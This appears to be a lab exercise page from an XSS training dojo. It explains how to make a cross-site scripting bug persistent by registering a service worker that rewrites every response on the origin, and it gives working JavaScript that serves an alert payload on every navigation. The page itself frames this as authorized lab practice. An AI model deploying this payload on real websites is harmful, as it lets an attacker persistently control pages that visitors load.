A11 service-worker persistence

This origin allows service workers.

XSS is momentary; a service worker makes it persistent - it keeps controlling the origin across reloads and can rewrite every response. From any sink on this origin, register one:

navigator.serviceWorker.register(
  URL.createObjectURL(new Blob(
   ["self.onfetch=e=>e.respondWith(new Response('<script>alert(document.domain)</script>',{headers:{'Content-Type':'text/html'}}))"],
   {type:"text/javascript"})));

Then every navigation on the origin serves your payload. (Needs a real XSS on this origin first - chain it from /stored.)

RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only